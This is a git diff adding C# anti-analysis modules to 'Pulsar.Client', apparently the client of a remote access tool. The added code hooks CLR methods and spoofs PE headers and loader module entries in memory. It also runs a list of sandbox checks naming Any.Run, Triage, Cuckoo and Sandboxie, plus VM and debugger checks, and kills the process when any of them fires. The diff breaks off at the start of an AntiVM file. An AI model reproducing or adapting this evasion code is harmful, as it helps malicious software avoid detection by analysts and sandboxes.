RuntimeHelpers.PrepareMethod(SourceFunction.MethodHandle); + RuntimeHelpers.PrepareMethod(DestinationFunction.MethodHandle); + IntPtr pSource = GetPointer(SourceFunction); + IntPtr pDestination = GetPointer(DestinationFunction); + if (pSource != IntPtr.Zero && pDestination != IntPtr.Zero) + { + if (OriginalCode != null) + CopyMem(OriginalCode, pSource, false); + if (HookFunction(pSource, pDestination, out HookedCode)) + { + pFunction = pSource; + return true; + } + } + HookedCode = null; + pFunction = IntPtr.Zero; + return false; + } + catch + { + HookedCode = null; + pFunction = IntPtr.Zero; + return false; + } + } + + /// + /// Installs a CLR hook using delegates, for some software that have AOT. + /// + /// The method to be hooked. + /// The hook method. + /// The original code which will be written to if you wanna unhook the function later (6 bytes in length). + /// The hook code which can be used to hook the function after unhooking it (6 bytes in length). + /// A pointer to the function in which you can install/uninstall hooks from using InstallOrUninstallHook function. + /// Returns true if successfully hooked, otherwise false. + public static bool InstallHookCLR(Delegate SourceFunction, Delegate DestinationFunction, byte[] OriginalCode, out byte[] HookedCode, out IntPtr pFunction) + { + try + { + IntPtr pSource = GetPointerDelegate(SourceFunction); + IntPtr pDestination = GetPointerDelegate(DestinationFunction); + if (pSource != IntPtr.Zero && pDestination != IntPtr.Zero) + { + if (OriginalCode != null) + CopyMem(OriginalCode, pSource, false); + if (HookFunction(pSource, pDestination, out HookedCode)) + { + pFunction = pSource; + return true; + } + } + HookedCode = null; + pFunction = IntPtr.Zero; + return false; + } + catch + { + HookedCode = null; + pFunction = IntPtr.Zero; + return false; + } + } + } +} diff --git a/Pulsar.Client/Anti/Injection/AntiInjection.cs b/Pulsar.Client/Anti/Injection/AntiInjection.cs new file mode 100644 index 0000000..7d8a776 --- /dev/null +++ b/Pulsar.Client/Anti/Injection/AntiInjection.cs @@ -0,0 +1,411 @@ +ο»Ώusing Pulsar.Client.Anti.Helper; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; +using static Pulsar.Client.Anti.Helper.Structs; + +namespace Pulsar.Client.Anti.Injection +{ + public static class Spoofs + { + public const int BaseAddress = 1 << 0; + public const int ModuleName = 1 << 1; + public const int AddressOfEntryPoint = 1 << 2; + public const int SizeOfImage = 1 << 3; + public const int NumberOfSections = 1 << 4; + public const int ImageMagic = 1 << 5; + public const int NotExecutableNorDll = 1 << 6; + public const int PESignature = 1 << 7; + public const int ExecutableSectionName = 1 << 8; + public const int ExecutableSectionRawSize = 1 << 9; + public const int ExecutableSectionRawPointer = 1 << 10; + public const int ClearExecutableSectionCharacteristics = 1 << 11; + public const int ExecutableSectionVirtualSize = 1 << 12; + } + + public class AntiInjection + { + + #region WinApi + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern IntPtr GetModuleHandle(string lib); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern IntPtr GetProcAddress(IntPtr ModuleHandle, string Function); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern bool WriteProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, byte[] Buffer, uint size, int NumOfBytes); + + [DllImport("kernelbase.dll", SetLastError = true)] + public static extern bool SetProcessMitigationPolicy(int policy, ref Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY lpBuffer, int size); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern uint NtOpenThread(out IntPtr hThread, uint dwDesiredAccess, ref Structs.OBJECT_ATTRIBUTES ObjectAttributes, ref Structs.CLIENT_ID ClientID); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern int NtQueryInformationThread(IntPtr ThreadHandle, int ThreadInformationClass, ref IntPtr ThreadInformation, uint ThreadInformationLength, IntPtr ReturnLength); + + #endregion + + /// + /// Sets the DLL load policy to only allow Microsoft-signed DLLs to be loaded. + /// + /// Returns "Success" if the policy was set successfully, otherwise "Failed". + public static string SetDllLoadPolicy() + { + Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY policy = new Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY + { + MicrosoftSignedOnly = 1 + }; + if (SetProcessMitigationPolicy(8, ref policy, Marshal.SizeOf(policy))) + return "Success"; + return "Failed"; + } + + /// + /// Detects if an address is in range inside modules or not. + /// + /// The address to check for. + /// Returns true if the address is in no module, otherwise false. + private static bool IsAddressInRange(IntPtr Address) + { + foreach (ProcessModule module in Process.GetCurrentProcess().Modules) + { + IntPtr Base = module.BaseAddress; + IntPtr End = IntPtr.Add(Base, module.ModuleMemorySize); + if (Address.ToInt64() >= Base.ToInt64() && Address.ToInt64() < End.ToInt64()) + { + return true; + } + } + return false; + } + + /// + /// Detects if an address is in range inside modules or not. + /// + /// Specifies whether we use syscalls for the check or not. + /// Check if the threads start address is within modules range or not. + /// Returns true if no thread is injected, otherwise false. + public static bool CheckInjectedThreads() + { + + uint MEM_IMAGE = 0x1000000; + uint MEM_COMMIT = 0x1000; + int ThreadQuerySetWin32StartAddress = 9; + uint THREAD_QUERY_INFORMATION = 0x0040; + int PID = Process.GetCurrentProcess().Id; + foreach (ProcessThread thread in Process.GetCurrentProcess().Threads) + { + CLIENT_ID CI = new CLIENT_ID + { + UniqueProcess = (IntPtr)PID, + UniqueThread = (IntPtr)thread.Id + }; + + OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES + { + Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)), + RootDirectory = IntPtr.Zero, + ObjectName = IntPtr.Zero, + Attributes = 0, + SecurityDescriptor = IntPtr.Zero, + SecurityQualityOfService = IntPtr.Zero + }; + + IntPtr hThread = IntPtr.Zero; + uint Status = NtOpenThread(out hThread, THREAD_QUERY_INFORMATION, ref Attributes, ref CI); + if (Status == 0 || hThread != IntPtr.Zero) + { + IntPtr StartAddress = IntPtr.Zero; + int QueryStatus = NtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress, ref StartAddress, (uint)IntPtr.Size, IntPtr.Zero); + Utils.CloseHandle(hThread); + if (QueryStatus == 0) + { + MEMORY_BASIC_INFORMATION MBI = new MEMORY_BASIC_INFORMATION(); + if (Utils.GetVirtualMemoryQuery(false, StartAddress, ref MBI, out _)) + { + if (MBI.Type != MEM_IMAGE || MBI.State != MEM_COMMIT) + { + return true; + } + } + } + } + } + return false; + } + + /// + /// Generate a random module name. + /// + /// the random module name. + private static string GenerateRandomString() + { + string Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + Random random = new Random(); + int RandomLength = random.Next(6, 32); + char[] NewModule = new char[RandomLength]; + for (int i = 0; i < RandomLength; i++) + { + NewModule[i] = Letters[random.Next(Letters.Length)]; + } + return new string(NewModule); + } + + private static bool IsFlagsSet(int SpoofOptions, int[] spoofs) + { + foreach (int spoofa in spoofs) + { + if ((SpoofOptions & spoofa) == spoofa) + return true; + } + return false; + } + + private static bool IsPE_FlagsSet(int SpoofOptions) + { + int[] spoofs = { + Spoofs.AddressOfEntryPoint, Spoofs.SizeOfImage, Spoofs.ExecutableSectionRawSize, + Spoofs.ExecutableSectionRawPointer, Spoofs.PESignature, Spoofs.ImageMagic, + Spoofs.NotExecutableNorDll, Spoofs.NumberOfSections, Spoofs.ClearExecutableSectionCharacteristics, + Spoofs.ExecutableSectionVirtualSize + }; + return IsFlagsSet(SpoofOptions, spoofs); + } + + /// + /// Changes the module information at runtime to avoid modification/lookups. + /// + /// The module name which we will change it's information. if left null, we get the main module of the process. + /// The spoofing options to apply. + /// Returns true if successfully changed the module info, otherwise false. + public static bool ChangeModuleInfo(string ModuleName, int SpoofOptions) + { + try + { + string FinalModuleName = ModuleName ?? Process.GetCurrentProcess().MainModule.ModuleName; + if (string.IsNullOrEmpty(FinalModuleName)) + return false; + + IntPtr hModule = Utils.LowLevelGetModuleHandle(FinalModuleName); + if (hModule == IntPtr.Zero) + return false; + + string Fake = $"{GenerateRandomString()}.dll"; + PEB Peb = Utils.GetPEB(); + _PEB_LDR_DATA Ldr = Marshal.PtrToStructure<_PEB_LDR_DATA>(Peb.Ldr); + IntPtr f = Ldr.InMemoryOrderModuleList.Flink; + Random RandGen = new Random(); + + for (int count = 0; count < 256 && f != IntPtr.Zero; count++) + { + _LDR_DATA_TABLE_ENTRY TableEntry = Marshal.PtrToStructure<_LDR_DATA_TABLE_ENTRY>(f); + string ModuleNameBuffer = Marshal.PtrToStringUni(TableEntry.FullDllName.Buffer); + + if (!string.IsNullOrEmpty(ModuleNameBuffer) && ModuleNameBuffer == FinalModuleName) + { + if (IsPE_FlagsSet(SpoofOptions)) + { + int[] SectionSpoof = { + Spoofs.ExecutableSectionName, Spoofs.ExecutableSectionRawPointer, + Spoofs.ExecutableSectionRawSize, Spoofs.ClearExecutableSectionCharacteristics, Spoofs.ExecutableSectionVirtualSize + }; + + IMAGE_DOS_HEADER dosHeader = Marshal.PtrToStructure(hModule); + IntPtr pNtHeaders = IntPtr.Add(hModule, dosHeader.e_lfanew); + + if (IntPtr.Size == 8) + { + IMAGE_NT_HEADERS64 NtHeadersStruct = Marshal.PtrToStructure(pNtHeaders); + if ((SpoofOptions & Spoofs.AddressOfEntryPoint) == Spoofs.AddressOfEntryPoint) + NtHeadersStruct.OptionalHeader.AddressOfEntryPoint = (uint)RandGen.Next(0x1000, 0x2000); + + if ((SpoofOptions & Spoofs.NumberOfSections) == Spoofs.NumberOfSections) + NtHeadersStruct.FileHeader.NumberOfSections = (ushort)RandGen.Next(NtHeadersStruct.FileHeader.NumberOfSections, NtHeadersStruct.FileHeader.NumberOfSections + 99); + + if ((SpoofOptions & Spoofs.ImageMagic) == Spoofs.ImageMagic) + NtHeadersStruct.OptionalHeader.Magic = (ushort)RandGen.Next(0, int.MaxValue); + + if ((SpoofOptions & Spoofs.SizeOfImage) == Spoofs.SizeOfImage) + NtHeadersStruct.OptionalHeader.SizeOfImage = (uint)RandGen.Next((int)NtHeadersStruct.OptionalHeader.SizeOfImage, (int)(NtHeadersStruct.OptionalHeader.SizeOfImage + 0x10000)); + + if ((SpoofOptions & Spoofs.NotExecutableNorDll) == Spoofs.NotExecutableNorDll) + { + ushort IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002; + ushort IMAGE_FILE_DLL = 0x2000; + NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_EXECUTABLE_IMAGE; + NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_DLL; + } + + if ((SpoofOptions & Spoofs.PESignature) == Spoofs.PESignature) + NtHeadersStruct.Signature = 0x4D5A0000; + + if (IsFlagsSet(SpoofOptions, SectionSpoof)) + { + IntPtr pSectionHeaders = IntPtr.Add(pNtHeaders, sizeof(uint) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + NtHeadersStruct.FileHeader.SizeOfOptionalHeader); //defined in here for now + IntPtr pSectionHeader = pSectionHeaders; + int SectionSize = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)); + + for (int i = 0; i < NtHeadersStruct.FileHeader.NumberOfSections; i++) + { + IMAGE_SECTION_HEADER SectionHeader = Marshal.PtrToStructure(pSectionHeader); + uint IMAGE_SCN_CNT_CODE = 0x00000020; + if ((SectionHeader.Characteristics & IMAGE_SCN_CNT_CODE) == IMAGE_SCN_CNT_CODE) + { + if ((SpoofOptions & Spoofs.ExecutableSectionName) == Spoofs.ExecutableSectionName) + SectionHeader.Name = Encoding.ASCII.GetBytes($".{GenerateRandomString()}"); + + if ((SpoofOptions & Spoofs.ExecutableSectionRawPointer) == Spoofs.ExecutableSectionRawPointer) + SectionHeader.PointerToRawData = (uint)RandGen.Next(0, int.MaxValue); + + if ((SpoofOptions & Spoofs.ExecutableSectionRawSize) == Spoofs.ExecutableSectionRawSize) + SectionHeader.SizeOfRawData = (uint)RandGen.Next(0, int.MaxValue); + + if ((SpoofOptions & Spoofs.ClearExecutableSectionCharacteristics) == Spoofs.ClearExecutableSectionCharacteristics) + SectionHeader.Characteristics = 0; + + if ((SpoofOptions & Spoofs.ExecutableSectionVirtualSize) == Spoofs.ExecutableSectionVirtualSize) + SectionHeader.VirtualSize = (uint)RandGen.Next((int)SectionHeader.VirtualSize, (int)SectionHeader.VirtualSize + 0x10000); + + Utils.WriteStructToPtr(SectionHeader, pSectionHeader, true, true); + break; + } + + pSectionHeader = IntPtr.Add(pSectionHeader, SectionSize); + } + } + + Utils.WriteStructToPtr(NtHeadersStruct, pNtHeaders, true, true); + } + else + { + IMAGE_NT_HEADERS32 NtHeadersStruct = Marshal.PtrToStructure(pNtHeaders); + if ((SpoofOptions & Spoofs.AddressOfEntryPoint) == Spoofs.AddressOfEntryPoint) + NtHeadersStruct.OptionalHeader.AddressOfEntryPoint = (uint)RandGen.Next(0x1000, 0x2000); + + if ((SpoofOptions & Spoofs.NumberOfSections) == Spoofs.NumberOfSections) + NtHeadersStruct.FileHeader.NumberOfSections = (ushort)RandGen.Next(NtHeadersStruct.FileHeader.NumberOfSections, NtHeadersStruct.FileHeader.NumberOfSections + 99); + + if ((SpoofOptions & Spoofs.ImageMagic) == Spoofs.ImageMagic) + NtHeadersStruct.OptionalHeader.Magic = (ushort)RandGen.Next(0, int.MaxValue); + + if ((SpoofOptions & Spoofs.SizeOfImage) == Spoofs.SizeOfImage) + NtHeadersStruct.OptionalHeader.SizeOfImage = (uint)RandGen.Next((int)NtHeadersStruct.OptionalHeader.SizeOfImage, (int)(NtHeadersStruct.OptionalHeader.SizeOfImage + 0x10000)); + + if ((SpoofOptions & Spoofs.NotExecutableNorDll) == Spoofs.NotExecutableNorDll) + { + ushort IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002; + ushort IMAGE_FILE_DLL = 0x2000; + NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_EXECUTABLE_IMAGE; + NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_DLL; + } + + if ((SpoofOptions & Spoofs.PESignature) == Spoofs.PESignature) + NtHeadersStruct.Signature = 0x4D5A0000; + + if (IsFlagsSet(SpoofOptions, SectionSpoof)) + { + IntPtr pSectionHeaders = IntPtr.Add(pNtHeaders, sizeof(uint) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + NtHeadersStruct.FileHeader.SizeOfOptionalHeader); //defined in here for now + IntPtr pSectionHeader = pSectionHeaders; + int SectionSize = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)); + + for (int i = 0; i < NtHeadersStruct.FileHeader.NumberOfSections; i++) + { + IMAGE_SECTION_HEADER SectionHeader = Marshal.PtrToStructure(pSectionHeader); + uint IMAGE_SCN_CNT_CODE = 0x00000020; + if ((SectionHeader.Characteristics & IMAGE_SCN_CNT_CODE) == IMAGE_SCN_CNT_CODE) + { + if ((SpoofOptions & Spoofs.ExecutableSectionName) == Spoofs.ExecutableSectionName) + SectionHeader.Name = Encoding.ASCII.GetBytes($".{GenerateRandomString()}"); + + if ((SpoofOptions & Spoofs.ExecutableSectionRawPointer) == Spoofs.ExecutableSectionRawPointer) + SectionHeader.PointerToRawData = (uint)RandGen.Next(0, int.MaxValue); + + if ((SpoofOptions & Spoofs.ExecutableSectionRawSize) == Spoofs.ExecutableSectionRawSize) + SectionHeader.SizeOfRawData = (uint)RandGen.Next(0, int.MaxValue); + + if ((SpoofOptions & Spoofs.ClearExecutableSectionCharacteristics) == Spoofs.ClearExecutableSectionCharacteristics) + SectionHeader.Characteristics = 0; + + if ((SpoofOptions & Spoofs.ExecutableSectionVirtualSize) == Spoofs.ExecutableSectionVirtualSize) + SectionHeader.VirtualSize = (uint)RandGen.Next((int)SectionHeader.VirtualSize, (int)SectionHeader.VirtualSize + 0x10000); + + Utils.WriteStructToPtr(SectionHeader, pSectionHeader, true, true); + break; + } + + pSectionHeader = IntPtr.Add(pSectionHeader, SectionSize); + } + } + + Utils.WriteStructToPtr(NtHeadersStruct, pNtHeaders, true, true); + } + } + + if ((SpoofOptions & Spoofs.BaseAddress) == Spoofs.BaseAddress) + { + TableEntry.DllBase = (IntPtr)(RandGen.Next(0x100000 / 0x1000, 0x7FFF000 / 0x1000) * 0x1000); + } + + if ((SpoofOptions & Spoofs.ModuleName) == Spoofs.ModuleName) + { + IntPtr FakeDllBuffer = Marshal.StringToHGlobalUni(Fake); + TableEntry.FullDllName.Buffer = FakeDllBuffer; + TableEntry.FullDllName.Length = (ushort)(Fake.Length * 2); + TableEntry.FullDllName.MaximumLength = (ushort)((Fake.Length + 1) * 2); + } + + Utils.WriteStructToPtr(TableEntry, f, true, true); + return true; + } + f = TableEntry.InLoadOrderLinks.Flink; + } + } + catch + { + return false; + } + return false; + } + + /// + /// Changes CLR Module ImageMagic to prevent critical info lookups. + /// + /// Returns true if successful, otherwise false. + public static bool ChangeCLRModuleImageMagic() + { + string CLR = Utils.GetCurrentCLRModuleName(); + if (!string.IsNullOrEmpty(CLR)) + { + return ChangeModuleInfo(CLR, Spoofs.ImageMagic); + } + return false; + } + + + /// + /// Detects ImageBaseAddress modification which could indicate code injection in our process (process hollowing). + /// + /// Returns true if the ImageBaseAddress is suspicious, otherwise false. + public static bool CheckForSuspiciousBaseAddress() + { + try + { + PEB Peb = Utils.GetPEB(); + if (Peb.ImageBaseAddress != Process.GetCurrentProcess().MainModule.BaseAddress) + return true; + } + catch + { + + } + return false; + } + } +} diff --git a/Pulsar.Client/Anti/Manager.cs b/Pulsar.Client/Anti/Manager.cs new file mode 100644 index 0000000..8df2c8a --- /dev/null +++ b/Pulsar.Client/Anti/Manager.cs @@ -0,0 +1,352 @@ +ο»Ώusing Pulsar.Client.Anti.Debugger; +using Pulsar.Client.Anti.Injection; +using Pulsar.Client.Anti.VM; +using Pulsar.Client.Config; +using System; +using System.Diagnostics; +using System.Threading; +using System.Threading.Tasks; +using System.Collections.Generic; +using System.Reflection; + +//copy pasted / slightly edited from https://github.com/AdvDebug/AntiCrack-DotNet + +namespace Pulsar.Client.Anti +{ + public class Manager + { + private static bool _debugMode = false; + + public static bool DebugMode + { + get => _debugMode; + set => _debugMode = value; + } + + private struct DetectionMethod + { + public T Method; + public string Name; + public string Description; + + public DetectionMethod(T method, string name, string description) + { + Method = method; + Name = name; + Description = description; + } + } + + private static void LogDebug(string message) + { + if (DebugMode) + { + Debug.WriteLine($"[DEBUG] {DateTime.Now:HH:mm:ss.fff} - {message}"); + } + } + + private static void LogDetection(string detectionType, string methodName, string description) + { + Debug.WriteLine($"[DETECTION] {DateTime.Now:HH:mm:ss.fff} - {detectionType} detected by '{methodName}': {description}"); + } + + private static void CheckVirtualization() + { + LogDebug("Starting virtualization detection checks..."); + + var vmChecks = new List>> + { + new DetectionMethod>(AntiVirtualization.AnyRunCheck, "AnyRunCheck", "Any.Run sandbox environment"), + new DetectionMethod>(AntiVirtualization.TriageCheck, "TriageCheck", "Triage sandbox environment"), + new DetectionMethod>(AntiVirtualization.CheckForQemu, "CheckForQemu", "QEMU virtualization"), + new DetectionMethod>(AntiVirtualization.CheckForParallels, "CheckForParallels", "Parallels virtualization"), + new DetectionMethod>(AntiVirtualization.IsSandboxiePresent, "IsSandboxiePresent", "Sandboxie sandbox"), + new DetectionMethod>(AntiVirtualization.IsComodoSandboxPresent, "IsComodoSandboxPresent", "Comodo sandbox"), + new DetectionMethod>(AntiVirtualization.IsCuckooSandboxPresent, "IsCuckooSandboxPresent", "Cuckoo sandbox"), + new DetectionMethod>(AntiVirtualization.IsQihoo360SandboxPresent, "IsQihoo360SandboxPresent", "Qihoo 360 sandbox"), + new DetectionMethod>(AntiVirtualization.CheckForBlacklistedNames, "CheckForBlacklistedNames", "Blacklisted VM/sandbox names"), + new DetectionMethod>(AntiVirtualization.CheckForVMwareAndVirtualBox, "CheckForVMwareAndVirtualBox", "VMware or VirtualBox"), + new DetectionMethod>(AntiVirtualization.CheckForKVM, "CheckForKVM", "KVM virtualization"), + new DetectionMethod>(AntiVirtualization.BadVMFilesDetection, "BadVMFilesDetection", "VM-specific files"), + new DetectionMethod>(AntiVirtualization.BadVMProcessNames, "BadVMProcessNames", "VM-specific processes"), + new DetectionMethod>(AntiVirtualization.CheckDevices, "CheckDevices", "VM-specific devices"), + new DetectionMethod>(AntiVirtualization.Generic.EmulationTimingCheck, "EmulationTimingCheck", "Emulation timing anomalies"), + new DetectionMethod>(AntiVirtualization.Generic.PortConnectionAntiVM, "PortConnectionAntiVM", "VM-specific port connections"), + new DetectionMethod>(AntiVirtualization.Generic.AVXInstructions, "AVXInstructions", "AVX instruction emulation"), + new DetectionMethod>(AntiVirtualization.Generic.RDRANDInstruction, "RDRANDInstruction", "RDRAND instruction emulation"), + new DetectionMethod>(AntiVirtualization.Generic.FlagsManipulationInstructions, "FlagsManipulationInstructions", "Flag manipulation instruction emulation") + }; + + int totalChecks = vmChecks.Count; + int currentCheck = 0; + + foreach (var vmCheck in vmChecks) + { + currentCheck++; + try + { + LogDebug($"Running VM check {currentCheck}/{totalChecks}: {vmCheck.Name}"); + + if (vmCheck.Method()) + { + LogDetection("VIRTUALIZATION", vmCheck.Name, vmCheck.Description); + Debug.WriteLine($"[FATAL] Process terminating due to virtualization detection - Exiting..."); + Process.GetCurrentProcess().Kill(); + } + else + { + LogDebug($"VM check {vmCheck.Name} passed"); + } + } + catch (Exception ex) + { + LogDebug($"VM check {vmCheck.Name} failed with exception: {ex.Message}"); + } + } + + LogDebug($"All {totalChecks} virtualization checks completed successfully"); + } + + private static void CheckInjection() + { + LogDebug("Starting injection detection checks in background thread..."); + + var injectionChecks = new List>> + { + new DetectionMethod>(AntiInjection.CheckInjectedThreads, "CheckInjectedThreads", "Injected threads detection"), + //new DetectionMethod>(AntiInjection.ChangeCLRModuleImageMagic, "ChangeCLRModuleImageMagic", "CLR module image magic modification"), + new DetectionMethod>(AntiInjection.CheckForSuspiciousBaseAddress, "CheckForSuspiciousBaseAddress", "Suspicious base address (process hollowing)") + }; + + int cycleCount = 0; + + while (true) + { + cycleCount++; + LogDebug($"Starting injection detection cycle #{cycleCount}"); + + int totalChecks = injectionChecks.Count; + int currentCheck = 0; + + foreach (var injectionCheck in injectionChecks) + { + currentCheck++; + try + { + LogDebug($"Running injection check {currentCheck}/{totalChecks}: {injectionCheck.Name}"); + + if (injectionCheck.Method()) + { + LogDetection("INJECTION", injectionCheck.Name, injectionCheck.Description); + Debug.WriteLine($"[FATAL] Process terminating due to injection detection - Exiting..."); + Process.GetCurrentProcess().Kill(); + } + else + { + LogDebug($"Injection check {injectionCheck.Name} passed"); + } + } + catch (Exception ex) + { + LogDebug($"Injection check {injectionCheck.Name} failed with exception: {ex.Message}"); + } + } + + LogDebug($"Injection detection cycle #{cycleCount} completed successfully"); + + int randomSleep = new Random().Next(1000, 5000); + LogDebug($"Sleeping for {randomSleep}ms before next injection check cycle"); + Thread.Sleep(randomSleep); + } + } + + private static void CheckDebugger() + { + LogDebug("Starting debugger detection checks in background thread..."); + + var debugDetections = new List>> + { + //new DetectionMethod>(AntiDebug.NtUserGetForegroundWindowAntiDebug, "NtUserGetForegroundWindowAntiDebug", "Debugger window in foreground"), + new DetectionMethod>(AntiDebug.DebuggerIsAttached, "DebuggerIsAttached", "Managed debugger attached"), + new DetectionMethod>(AntiDebug.IsDebuggerPresentCheck, "IsDebuggerPresentCheck", "Native debugger present"), + new DetectionMethod>(AntiDebug.BeingDebuggedCheck, "BeingDebuggedCheck", "PEB BeingDebugged flag set"), + new DetectionMethod>(AntiDebug.NtGlobalFlagCheck, "NtGlobalFlagCheck", "NtGlobalFlag indicates debugging"), + new DetectionMethod>(AntiDebug.NtSetDebugFilterStateAntiDebug, "NtSetDebugFilterStateAntiDebug", "Debug filter state manipulation"), + new DetectionMethod>(AntiDebug.NtQueryInformationProcessCheck_ProcessDebugFlags, "NtQueryInformationProcessCheck_ProcessDebugFlags", "Process debug flags set"), + new DetectionMethod>(AntiDebug.NtQueryInformationProcessCheck_ProcessDebugPort, "NtQueryInformationProcessCheck_ProcessDebugPort", "Debug port detected"), + new DetectionMethod>(AntiDebug.NtQueryInformationProcessCheck_ProcessDebugObjectHandle, "NtQueryInformationProcessCheck_ProcessDebugObjectHandle", "Debug object handle detected"), + new DetectionMethod>(AntiDebug.NtCloseAntiDebug_InvalidHandle, "NtCloseAntiDebug_InvalidHandle", "Invalid handle debugging technique"), + new DetectionMethod>(AntiDebug.NtCloseAntiDebug_ProtectedHandle, "NtCloseAntiDebug_ProtectedHandle", "Protected handle debugging technique"), + new DetectionMethod>(AntiDebug.HardwareRegistersBreakpointsDetection, "HardwareRegistersBreakpointsDetection", "Hardware breakpoints detected"), + new DetectionMethod>(AntiDebug.FindWindowAntiDebug, "FindWindowAntiDebug", "Known debugger windows detected") + }; + + int cycleCount = 0; + + while (true) + { + cycleCount++; + LogDebug($"Starting debugger detection cycle #{cycleCount}"); + + try + { + LogDebug("Executing HideThreadsAntiDebug"); + AntiDebug.HideThreadsAntiDebug(); + } + catch (Exception ex) + { + LogDebug($"HideThreadsAntiDebug failed with exception: {ex.Message}"); + } + + int totalChecks = debugDetections.Count; + int currentCheck = 0; + + foreach (var debugCheck in debugDetections) + { + currentCheck++; + try + { + LogDebug($"Running debug check {currentCheck}/{totalChecks}: {debugCheck.Name}"); + + if (debugCheck.Method()) + { + LogDetection("DEBUGGER", debugCheck.Name, debugCheck.Description); + Debug.WriteLine($"[FATAL] Process terminating due to debugger detection - Exiting..."); + Process.GetCurrentProcess().Kill(); + } + else + { + LogDebug($"Debug check {debugCheck.Name} passed"); + } + } + catch (Exception ex) + { + LogDebug($"Debug check {debugCheck.Name} failed with exception: {ex.Message}"); + } + } + + LogDebug($"Debugger detection cycle #{cycleCount} completed successfully"); + + int randomSleep = new Random().Next(1000, 5000); + LogDebug($"Sleeping for {randomSleep}ms before next debugger check cycle"); + Thread.Sleep(randomSleep); + } + } + + public static void StartAnti() + { + LogDebug($"[ANTI] Starting Anti-Analysis protection systems at {DateTime.Now:yyyy-MM-dd HH:mm:ss}"); + LogDebug($"Debug mode is {(DebugMode ? "ENABLED" : "DISABLED")}"); + + LogSystemInfo(); + + if (Settings.ANTIVM) + { + LogDebug("[ANTI] Anti-VM protection enabled - Checking for virtualization environments..."); + LogDebug("ANTIVM setting is enabled, starting virtualization checks"); + try + { + CheckVirtualization(); + LogDebug("[ANTI] No virtualization detected - Anti-VM checks passed"); + } + catch (Exception ex) + { + LogDebug($"CheckVirtualization failed with exception: {ex.Message}"); + LogDebug("[ERROR] Anti-VM checks encountered an error but continuing..."); + } + } + else + { + LogDebug("ANTIVM setting is disabled, skipping virtualization checks"); + } + + if (Settings.ANTIDEBUG) + { + LogDebug("[ANTI] Anti-Debug protection enabled - Starting background monitoring threads..."); + LogDebug("ANTIDEBUG setting is enabled, starting background detection threads"); + + try + { + LogDebug("Starting injection detection thread"); + Task.Factory.StartNew(() => CheckInjection(), TaskCreationOptions.LongRunning); + LogDebug("[ANTI] Injection detection thread started"); + } + catch (Exception ex) + { + LogDebug($"Failed to start injection detection thread: {ex.Message}"); + LogDebug("[ERROR] Failed to start injection detection thread"); + } + + try + { + LogDebug("Starting debugger detection thread"); + Task.Factory.StartNew(() => CheckDebugger(), TaskCreationOptions.LongRunning); + LogDebug("[ANTI] Debugger detection thread started"); + } + catch (Exception ex) + { + LogDebug($"Failed to start debugger detection thread: {ex.Message}"); + LogDebug("[ERROR] Failed to start debugger detection thread"); + } + + LogDebug("[ANTI] Anti-Debug background monitoring is now active"); + } + else + { + LogDebug("ANTIDEBUG setting is disabled, skipping debug detection"); + } + + LogDebug("[ANTI] Anti-Analysis protection initialization complete"); + LogDebug($"[ANTI] Protection Status: {GetProtectionStatus()}"); + LogDebug("StartAnti() completed successfully"); + } + + /// + /// Toggle debug mode on/off during runtime + /// + /// True to enable debug logging, false to disable + public static void SetDebugMode(bool enabled) + { + DebugMode = enabled; + LogDebug($"[ANTI] Debug mode {(enabled ? "ENABLED" : "DISABLED")}"); + } + + /// + /// Get status of anti-protection systems + /// + /// Status string + public static string GetProtectionStatus() + { + return $"Anti-VM: {(Settings.ANTIVM ? "ENABLED" : "DISABLED")}, " + + $"Anti-Debug: {(Settings.ANTIDEBUG ? "ENABLED" : "DISABLED")}, " + + $"Debug Mode: {(DebugMode ? "ENABLED" : "DISABLED")}"; + } + + /// + /// Log system information for debugging purposes + /// + public static void LogSystemInfo() + { + if (!DebugMode) return; + + try + { + LogDebug("=== SYSTEM INFORMATION ==="); + LogDebug($"OS Version: {Environment.OSVersion}"); + LogDebug($"CLR Version: {Environment.Version}"); + LogDebug($"Process Name: {Process.GetCurrentProcess().ProcessName}"); + LogDebug($"Process ID: {Process.GetCurrentProcess().Id}"); + LogDebug($"Is 64-bit Process: {Environment.Is64BitProcess}"); + LogDebug($"Is 64-bit OS: {Environment.Is64BitOperatingSystem}"); + LogDebug($"Machine Name: {Environment.MachineName}"); + LogDebug($"User Name: {Environment.UserName}"); + LogDebug($"Working Set: {Environment.WorkingSet} bytes"); + LogDebug("=== END SYSTEM INFORMATION ==="); + } + catch (Exception ex) + { + LogDebug($"Failed to log system information: {ex.Message}"); + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Anti/VM/AntiVM.cs b/Pulsar.Client/Anti/VM/AntiVM.cs new file mode 100644 index 0000000..aac72ff --- /dev/null +++ b/Pulsar.Client/Anti/VM/AntiVM.cs @@ -0,0 +1,562 @@ +ο»Ώusing System; +using System.IO; +using System.Threading; +using System.Management; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using Microsoft.Win32; +using Pulsar.Client.Anti.Helper; +using static Pulsar.Client.Anti.Helper.Delegates; + +namespace Pulsar.Client.Anti.VM +{ + public class AntiVirtualization + { + + #region WinApi + + 